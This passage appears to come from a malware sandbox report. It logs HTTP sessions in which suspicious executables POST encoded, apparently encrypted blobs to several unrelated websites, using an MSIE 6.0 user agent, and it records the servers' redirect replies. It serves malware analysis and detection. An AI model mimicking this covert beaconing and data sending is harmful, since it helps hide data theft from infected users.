72 79 72 45 31 6b 30 [TRUNCATED] Data Ascii: /eUEAf7ljQpdlMsvydUUxeFHNF++1824Em7uUgPByWD00AQoTUgYLsDJcdE1ieq7rGvM+ScUYnCmvV8xXycyiPiADxsFjQSldUxUsXRtXAhah/8fBD5uHhbOTFFFkiHkP0LPJ9hQvhDXdfgUqLXJINnknpR2sgr2cuPOwlNfl082sBoYpIkymaiWcc6pcA8SWuVyMNOclstSwsGuQHMp5ulBIxLyX6Y/10g+FY2COTBLQkS6FQIdTwT/1GUnwra+T62BK6XanJGxecNZxqgh4QEPvHtsoGAK2Urcb6Z4Z67tGATUV+7ydNfmuQTF8Uaod7fAaujAbqdryrE1k020la6vncbNJDkoO32j0myEGLsRRVMb/01LPGR2RYYvhmfpwrlwL+jlbOb27JIUq3cgULB0yN0QxMI7DFEIPtfFCyOyUmlw0GR3V2PX9DJeyvfj7W27mSvo4lVm9vTIObYis4IZCoUN8niMNj9lzXeuXHyAqSFLyr+sCwyXHx3RuaP19WAxuTh4vRLhO3ZVKgIQaBmyJnOVquD3c1bHs/Rbm0Et
Oct 25, 2024 11:18:07.077580929 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20020 Location: https://www.dgmna.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:07.163132906 CEST	788	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.dgmna.com Cache-Control: no-cache Data Raw: 2f 65 55 45 41 66 37 6c 6a 51 70 64 6c 4d 73 76 79 64 55 55 78 65 46 48 4e 46 2b 2b 31 38 32 34 45 6d 37 75 55 67 50 42 79 57 44 30 30 41 51 6f 54 55 67 59 4c 73 44 4a 63 64 45 31 69 65 71 37 72 47 76 4d 2b 53 63 55 59 6e 43 6d 76 56 38 78 58 79 63 79 69 50 69 41 44 78 73 46 6a 51 53 6c 64 55 78 55 73 58 52 74 58 41 68 61 68 2f 38 66 42 44 35 75 48 68 62 4f 54 46 46 46 6b 69 48 6b 50 30 4c 50 4a 39 68 51 76 68 44 58 64 66 67 55 71 4c 58 4a 49 4e 6e 6b 6e 70 52 32 73 67 72 32 63 75 50 4f 77 6c 4e 66 6c 30 38 32 73 42 6f 59 70 49 6b 79 6d 61 69 57 63 63 36 70 63 41 38 53 57 75 56 79 4d 4e 4f 63 6c 73 74 53 77 73 47 75 51 48 4d 70 35 75 6c 42 49 78 4c 79 58 36 59 2f 31 30 67 2b 46 59 32 43 4f 54 42 4c 51 6b 53 36 46 51 49 64 54 77 54 2f 31 47 55 6e 77 72 61 2b 54 36 32 42 4b 36 58 61 6e 4a 47 78 65 63 4e 5a 78 71 67 68 34 51 45 50 76 48 74 73 6f 47 41 4b 32 55 72 63 62 36 5a 34 5a 36 37 74 47 41 54 55 56 2b 37 79 64 4e 66 6d 75 51 54 46 38 55 61 6f 64 37 66 41 61 75 6a 41 62 71 64 72 79 72 45 31 6b 30 [TRUNCATED] Data Ascii: /eUEAf7ljQpdlMsvydUUxeFHNF++1824Em7uUgPByWD00AQoTUgYLsDJcdE1ieq7rGvM+ScUYnCmvV8xXycyiPiADxsFjQSldUxUsXRtXAhah/8fBD5uHhbOTFFFkiHkP0LPJ9hQvhDXdfgUqLXJINnknpR2sgr2cuPOwlNfl082sBoYpIkymaiWcc6pcA8SWuVyMNOclstSwsGuQHMp5ulBIxLyX6Y/10g+FY2COTBLQkS6FQIdTwT/1GUnwra+T62BK6XanJGxecNZxqgh4QEPvHtsoGAK2Urcb6Z4Z67tGATUV+7ydNfmuQTF8Uaod7fAaujAbqdryrE1k020la6vncbNJDkoO32j0myEGLsRRVMb/01LPGR2RYYvhmfpwrlwL+jlbOb27JIUq3cgULB0yN0QxMI7DFEIPtfFCyOyUmlw0GR3V2PX9DJeyvfj7W27mSvo4lVm9vTIObYis4IZCoUN8niMNj9lzXeuXHyAqSFLyr+sCwyXHx3RuaP19WAxuTh4vRLhO3ZVKgIQaBmyJnOVquD3c1bHs/Rbm0Et
Oct 25, 2024 11:18:07.313093901 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20020 Location: https://www.dgmna.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	52798	70.39.251.249	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.421947956 CEST	767	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 532 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.quadlock.com Cache-Control: no-cache Data Raw: 53 66 78 2f 68 5a 2b 44 6d 67 72 65 48 6f 6f 64 2f 76 77 2f 4d 53 67 7a 5a 75 4a 31 6f 44 5a 41 51 2f 31 70 35 6a 37 53 55 2f 68 2f 6a 71 45 6c 55 71 43 53 7a 77 4e 4b 6e 41 6c 65 66 4d 73 34 47 7a 65 4d 65 54 65 61 6a 69 68 35 46 71 4e 62 4c 35 69 65 2b 62 64 6e 33 6d 4c 54 53 70 68 43 67 71 53 34 6f 75 72 57 4d 4b 76 51 6e 36 64 51 48 4b 4a 72 55 49 4c 79 62 45 41 34 4e 51 4f 55 62 45 43 34 44 68 6a 6b 35 56 48 65 52 49 69 49 72 74 36 45 6a 38 50 5a 6f 78 74 44 4c 44 44 6f 47 62 73 70 4f 36 69 49 41 4f 44 48 61 47 79 66 4a 67 47 2f 74 74 47 75 76 6f 61 31 36 47 78 39 52 4f 42 52 54 62 4c 2f 4a 66 43 6a 6a 31 2b 2b 6d 74 30 6d 34 45 6a 52 67 4c 71 68 48 54 73 34 54 52 65 39 77 62 7a 69 39 7a 6b 4b 35 30 4b 4b 57 6d 79 69 2b 72 75 6a 66 63 62 70 53 5a 77 75 5a 66 54 68 75 35 66 44 30 35 2f 42 7a 33 2f 61 35 35 49 69 61 43 7a 75 51 6a 4b 59 65 50 61 33 69 6b 50 54 4e 4e 74 43 4d 32 53 73 2f 65 33 33 75 50 46 38 33 58 71 75 7a 54 72 6f 34 68 35 67 33 54 6b 52 38 50 41 4f 61 77 49 43 6b 30 4a 6d 50 6c [TRUNCATED] Data Ascii: Sfx/hZ+DmgreHood/vw/MSgzZuJ1oDZAQ/1p5j7SU/h/jqElUqCSzwNKnAlefMs4GzeMeTeajih5FqNbL5ie+bdn3mLTSphCgqS4ourWMKvQn6dQHKJrUILybEA4NQOUbEC4Dhjk5VHeRIiIrt6Ej8PZoxtDLDDoGbspO6iIAODHaGyfJgG/ttGuvoa16Gx9ROBRTbL/JfCjj1++mt0m4EjRgLqhHTs4TRe9wbzi9zkK50KKWmyi+rujfcbpSZwuZfThu5fD05/Bz3/a55IiaCzuQjKYePa3ikPTNNtCM2Ss/e33uPF83XquzTro4h5g3TkR8PAOawICk0JmPlo+oCU7F8OKMieOZSxN4QV5gQzo2i1xLLBJEamLsilEmkqZN+qe0IHA01EcLiENKR89pRBBmYFDzWmU+Gk6UZLtCwtKRmEwmEsj7ZV/zj/IMSIU9HClx8/EuD6+se/7flJGzmwzoUUwAHHGnkv0juqP1AEtushrgBwQuKnArKuo7HfqrzG4K2d3DHLc28orcA==
Oct 25, 2024 11:18:07.119561911 CEST	661	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:07 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Location: https://www.quadlock.com/ Cache-Control: max-age=86400 Expires: Sat, 26 Oct 2024 09:18:07 GMT Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 71 75 61 64 6c 6f 63 6b 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.quadlock.com/">here</a>.</p></body></html>
Oct 25, 2024 11:18:07.185571909 CEST	767	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 532 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.quadlock.com Cache-Control: no-cache Data Raw: 53 66 78 2f 68 5a 2b 44 6d 67 72 65 48 6f 6f 64 2f 76 77 2f 4d 53 67 7a 5a 75 4a 31 6f 44 5a 41 51 2f 31 70 35 6a 37 53 55 2f 68 2f 6a 71 45 6c 55 71 43 53 7a 77 4e 4b 6e 41 6c 65 66 4d 73 34 47 7a 65 4d 65 54 65 61 6a 69 68 35 46 71 4e 62 4c 35 69 65 2b 62 64 6e 33 6d 4c 54 53 70 68 43 67 71 53 34 6f 75 72 57 4d 4b 76 51 6e 36 64 51 48 4b 4a 72 55 49 4c 79 62 45 41 34 4e 51 4f 55 62 45 43 34 44 68 6a 6b 35 56 48 65 52 49 69 49 72 74 36 45 6a 38 50 5a 6f 78 74 44 4c 44 44 6f 47 62 73 70 4f 36 69 49 41 4f 44 48 61 47 79 66 4a 67 47 2f 74 74 47 75 76 6f 61 31 36 47 78 39 52 4f 42 52 54 62 4c 2f 4a 66 43 6a 6a 31 2b 2b 6d 74 30 6d 34 45 6a 52 67 4c 71 68 48 54 73 34 54 52 65 39 77 62 7a 69 39 7a 6b 4b 35 30 4b 4b 57 6d 79 69 2b 72 75 6a 66 63 62 70 53 5a 77 75 5a 66 54 68 75 35 66 44 30 35 2f 42 7a 33 2f 61 35 35 49 69 61 43 7a 75 51 6a 4b 59 65 50 61 33 69 6b 50 54 4e 4e 74 43 4d 32 53 73 2f 65 33 33 75 50 46 38 33 58 71 75 7a 54 72 6f 34 68 35 67 33 54 6b 52 38 50 41 4f 61 77 49 43 6b 30 4a 6d 50 6c [TRUNCATED] Data Ascii: Sfx/hZ+DmgreHood/vw/MSgzZuJ1oDZAQ/1p5j7SU/h/jqElUqCSzwNKnAlefMs4GzeMeTeajih5FqNbL5ie+bdn3mLTSphCgqS4ourWMKvQn6dQHKJrUILybEA4NQOUbEC4Dhjk5VHeRIiIrt6Ej8PZoxtDLDDoGbspO6iIAODHaGyfJgG/ttGuvoa16Gx9ROBRTbL/JfCjj1++mt0m4EjRgLqhHTs4TRe9wbzi9zkK50KKWmyi+rujfcbpSZwuZfThu5fD05/Bz3/a55IiaCzuQjKYePa3ikPTNNtCM2Ss/e33uPF83XquzTro4h5g3TkR8PAOawICk0JmPlo+oCU7F8OKMieOZSxN4QV5gQzo2i1xLLBJEamLsilEmkqZN+qe0IHA01EcLiENKR89pRBBmYFDzWmU+Gk6UZLtCwtKRmEwmEsj7ZV/zj/IMSIU9HClx8/EuD6+se/7flJGzmwzoUUwAHHGnkv0juqP1AEtushrgBwQuKnArKuo7HfqrzG4K2d3DHLc28orcA==
Oct 25, 2024 11:18:07.344535112 CEST	661	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:07 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Location: https://www.quadlock.com/ Cache-Control: max-age=86400 Expires: Sat, 26 Oct 2024 09:18:07 GMT Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 71 75 61 64 6c 6f 63 6b 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.quadlock.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	52804	3.19.116.195	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.509671926 CEST	835	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pdqhomes.com Cache-Control: no-cache Data Raw: 50 41 4a 37 56 4d 31 73 31 56 52 52 71 2f 2b 71 52 43 65 6b 4e 49 61 71 4a 6a 4d 37 4a 4c 71 78 55 55 72 74 37 6f 53 50 63 77 6f 4f 44 4d 57 59 35 6e 59 79 33 70 38 48 53 54 75 5a 36 72 71 32 70 64 37 47 43 61 54 4b 47 79 4c 7a 61 6f 4b 34 6f 38 61 6b 65 57 49 37 4d 6a 4e 7a 6d 6d 72 70 61 50 77 6f 48 51 44 64 42 4b 47 63 45 4d 32 59 54 39 4f 4d 2f 66 62 55 62 77 6a 6a 6c 67 4b 41 4d 38 41 36 41 71 72 57 56 55 35 63 37 4b 5a 30 4e 69 76 6c 63 53 4d 6b 66 74 36 34 70 62 31 37 4a 66 42 30 42 4a 62 53 52 31 65 79 42 35 41 42 76 47 4c 34 37 4a 5a 45 57 45 6a 7a 79 6f 6b 39 45 35 34 33 4d 32 76 54 4b 45 67 6a 45 41 34 62 58 45 47 48 7a 71 44 30 77 48 55 64 36 47 55 61 44 48 6f 49 70 2b 62 77 49 33 68 4b 57 46 31 4a 76 78 54 30 65 78 4e 47 54 39 31 61 71 32 54 6b 35 67 37 4d 6c 6b 56 50 51 4f 4f 32 36 72 44 75 6b 57 33 69 35 75 59 6b 4b 44 2f 38 6c 47 30 2f 72 32 4e 70 76 4a 37 61 76 4e 49 59 39 30 77 36 6b 70 61 55 6f 46 6f 58 59 73 47 64 2b 37 69 46 73 6d 4a 38 4c 6b 78 69 54 69 6a 52 6a 53 52 6a 38 2f [TRUNCATED] Data Ascii: PAJ7VM1s1VRRq/+qRCekNIaqJjM7JLqxUUrt7oSPcwoODMWY5nYy3p8HSTuZ6rq2pd7GCaTKGyLzaoK4o8akeWI7MjNzmmrpaPwoHQDdBKGcEM2YT9OM/fbUbwjjlgKAM8A6AqrWVU5c7KZ0NivlcSMkft64pb17JfB0BJbSR1eyB5ABvGL47JZEWEjzyok9E543M2vTKEgjEA4bXEGHzqD0wHUd6GUaDHoIp+bwI3hKWF1JvxT0exNGT91aq2Tk5g7MlkVPQOO26rDukW3i5uYkKD/8lG0/r2NpvJ7avNIY90w6kpaUoFoXYsGd+7iFsmJ8LkxiTijRjSRj8/xAzBc8czFcNoHnkxQBZrjNwl3aJKC0duZz5/CZuXQcia4t86VVaVORFdOHkOWveNYbeaJTo1MTyARoWNu3dckllKhhvDc6KRalNfDMP6jfbO5EuaGO4xGFCzS/R8e5kl77MEvS5a+T4i7w76uS1R0XsZJ+shcBMAuo5hf+fU4BbBWcUzxec866uz+edMRSGwD2GGoUvGfvKYwQXh2X/ILtwF4VSwQjISVP5RDcFZaW9y1icnbcMH7rPJQMyMTRbV8WWYKd
Oct 25, 2024 11:18:07.215589046 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	52805	34.149.87.45	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.714075089 CEST	824	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.alteor.cl Cache-Control: no-cache Data Raw: 39 75 63 2b 57 68 4a 42 61 31 55 59 54 48 4d 2b 78 57 32 51 71 52 57 55 63 42 42 69 34 75 61 56 5a 73 6a 79 4e 36 64 36 7a 53 39 78 39 35 62 76 51 67 42 65 58 36 6a 33 59 56 6a 55 68 51 52 2b 71 37 65 78 64 35 73 68 59 58 63 39 38 37 31 6e 6b 5a 39 52 62 51 71 41 37 2b 6a 4f 53 31 7a 41 6e 45 2f 7a 6c 4a 45 52 62 58 6c 70 46 65 38 73 79 61 4f 56 34 6a 41 79 4a 77 50 71 4b 34 30 43 66 4d 49 58 33 68 64 61 64 32 4b 5a 44 4b 44 79 41 72 32 69 4f 6a 76 65 45 48 45 4b 41 54 6b 66 4a 58 72 70 38 6d 46 79 50 71 70 70 55 34 4a 39 51 53 72 54 44 67 44 45 50 59 59 47 58 35 63 34 59 66 57 4b 7a 63 34 6a 46 76 62 49 2b 73 61 55 57 64 71 49 42 31 54 37 35 52 42 39 6f 6b 36 52 41 39 6b 66 51 6b 6b 42 34 2f 68 49 34 31 46 2b 61 79 55 56 4f 41 61 42 41 36 43 4e 76 77 52 31 50 55 59 44 32 68 32 70 70 43 47 7a 63 6e 47 4f 54 30 51 42 70 35 43 67 47 44 58 63 6e 63 42 54 64 46 42 73 56 7a 6a 56 36 53 42 46 58 75 37 46 79 2f 79 4d 39 32 73 6b 77 50 6b 54 4f 79 79 35 77 2b 65 79 6d 5a 6c 51 61 67 36 71 45 4e 4c 36 31 66 [TRUNCATED] Data Ascii: 9uc+WhJBa1UYTHM+xW2QqRWUcBBi4uaVZsjyN6d6zS9x95bvQgBeX6j3YVjUhQR+q7exd5shYXc9871nkZ9RbQqA7+jOS1zAnE/zlJERbXlpFe8syaOV4jAyJwPqK40CfMIX3hdad2KZDKDyAr2iOjveEHEKATkfJXrp8mFyPqppU4J9QSrTDgDEPYYGX5c4YfWKzc4jFvbI+saUWdqIB1T75RB9ok6RA9kfQkkB4/hI41F+ayUVOAaBA6CNvwR1PUYD2h2ppCGzcnGOT0QBp5CgGDXcncBTdFBsVzjV6SBFXu7Fy/yM92skwPkTOyy5w+eymZlQag6qENL61fjA/+bdyUgqS/INflPYrXGxxFypwS1WnRZLda4gqqrLDS3WVuCh+45w/GQrhVNuRhbyfArQfvW3NGz/vz2ouUefo5tke9iY34W7dLk8ONX8HzZlI0MtXUCzwzZ4LH2f6kz9tr7KuqTVrGAn/ULpH170oCZpNSMPQRqX408UhXtelpOdek0gbS9+rQFsbUSU7/w2twgVtY4v60Evh/jwqeBCdpw/fCyJI7rkubvWFvTMT91bOP8BjYA3yI5HNtc=
Oct 25, 2024 11:18:07.394035101 CEST	361	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.alteor.cl/ Accept-Ranges: bytes Date: Fri, 25 Oct 2024 09:18:07 GMT X-Served-By: cache-dfw-kdfw8210077-DFW X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	52806	170.82.174.30	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.719913960 CEST	884	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.mqs.com.br Cache-Control: no-cache Cookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; _mcnc=1 Data Raw: 65 79 6e 48 59 6a 2f 59 63 31 57 4f 42 34 76 7a 48 67 69 68 32 63 69 4d 53 45 6d 56 49 61 50 50 34 77 4e 2b 42 6c 4e 43 59 32 2b 43 4a 50 31 73 34 74 38 34 38 42 76 66 4c 72 61 68 71 70 4e 64 69 61 4a 6f 79 71 65 79 4b 6c 34 63 79 6e 37 33 46 7a 4c 33 77 2f 53 46 79 33 7a 38 35 37 76 2f 4b 47 79 32 78 31 47 79 6e 42 68 45 6b 66 64 50 37 4d 5a 57 6f 68 67 67 33 55 66 67 39 5a 57 4b 71 61 4d 6f 32 79 68 59 52 55 77 7a 42 50 4c 51 58 4d 47 53 67 55 36 6c 56 64 6a 73 77 42 71 53 54 42 6e 6e 6d 59 4e 33 67 6e 67 36 69 45 70 4d 4e 31 55 62 32 6d 61 59 50 38 51 31 52 76 6a 30 6e 65 63 59 6c 6c 42 5a 62 5a 70 49 71 75 68 45 7a 6f 62 74 4b 57 4d 38 62 39 62 79 30 6d 4e 45 63 52 73 47 65 74 54 71 6a 55 64 41 70 37 49 4f 6d 30 46 78 45 47 54 50 68 4b 57 66 6f 5a 52 44 35 4e 69 6c 74 4d 77 2f 2b 4a 61 53 73 36 36 6d 73 33 77 67 4b 4a 36 5a 35 58 59 31 59 66 6b 42 42 67 30 61 34 49 59 66 44 39 78 73 32 6d 45 67 59 78 45 49 4d 51 70 43 31 6d 54 45 55 43 55 51 54 32 6c 46 4b 72 5a 33 5a 33 74 67 73 5a 43 49 4f 2f [TRUNCATED] Data Ascii: eynHYj/Yc1WOB4vzHgih2ciMSEmVIaPP4wN+BlNCY2+CJP1s4t848BvfLrahqpNdiaJoyqeyKl4cyn73FzL3w/SFy3z857v/KGy2x1GynBhEkfdP7MZWohgg3Ufg9ZWKqaMo2yhYRUwzBPLQXMGSgU6lVdjswBqSTBnnmYN3gng6iEpMN1Ub2maYP8Q1Rvj0necYllBZbZpIquhEzobtKWM8b9by0mNEcRsGetTqjUdAp7IOm0FxEGTPhKWfoZRD5NiltMw/+JaSs66ms3wgKJ6Z5XY1YfkBBg0a4IYfD9xs2mEgYxEIMQpC1mTEUCUQT2lFKrZ3Z3tgsZCIO/AGzef9Jpyfgwm60AWAIxiOMT5sCZw10H68honPiTdRdgAtgiJ0xfPswDXDTmWgPFxKWiPrRge3tvueqN+xxDdSVoW7eAkwOlHUmh2xaOgRHx0xKy4SWCwKqJeRNjZmktNQnjrpYr74URFXfAGFfDENcmOuBQtuyxnlGZa3q1sgUm5wXPxYzwucJNKoKKwhmT7zbQgEj0NZYNEUOD26s0Xr+ecqUg+Ny9U5WoxdVrPyth/3VGv54g==
Oct 25, 2024 11:18:07.878984928 CEST	605	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Set-Cookie: _mcnc=1; Path=/ Location: https://www.mqs.com.br/ Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000 X-Cloudez-Verify: f1f79f15a43c89e43ec1c65cc878ebbf8e9cf4a58e98a109af262325 X-GoCache-CacheStatus: BYPASS Server: gocache Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:07.879434109 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 25, 2024 11:18:07.995707989 CEST	884	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.mqs.com.br Cache-Control: no-cache Cookie: _mcnc=1; __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs Data Raw: 65 79 6e 48 59 6a 2f 59 63 31 57 4f 42 34 76 7a 48 67 69 68 32 63 69 4d 53 45 6d 56 49 61 50 50 34 77 4e 2b 42 6c 4e 43 59 32 2b 43 4a 50 31 73 34 74 38 34 38 42 76 66 4c 72 61 68 71 70 4e 64 69 61 4a 6f 79 71 65 79 4b 6c 34 63 79 6e 37 33 46 7a 4c 33 77 2f 53 46 79 33 7a 38 35 37 76 2f 4b 47 79 32 78 31 47 79 6e 42 68 45 6b 66 64 50 37 4d 5a 57 6f 68 67 67 33 55 66 67 39 5a 57 4b 71 61 4d 6f 32 79 68 59 52 55 77 7a 42 50 4c 51 58 4d 47 53 67 55 36 6c 56 64 6a 73 77 42 71 53 54 42 6e 6e 6d 59 4e 33 67 6e 67 36 69 45 70 4d 4e 31 55 62 32 6d 61 59 50 38 51 31 52 76 6a 30 6e 65 63 59 6c 6c 42 5a 62 5a 70 49 71 75 68 45 7a 6f 62 74 4b 57 4d 38 62 39 62 79 30 6d 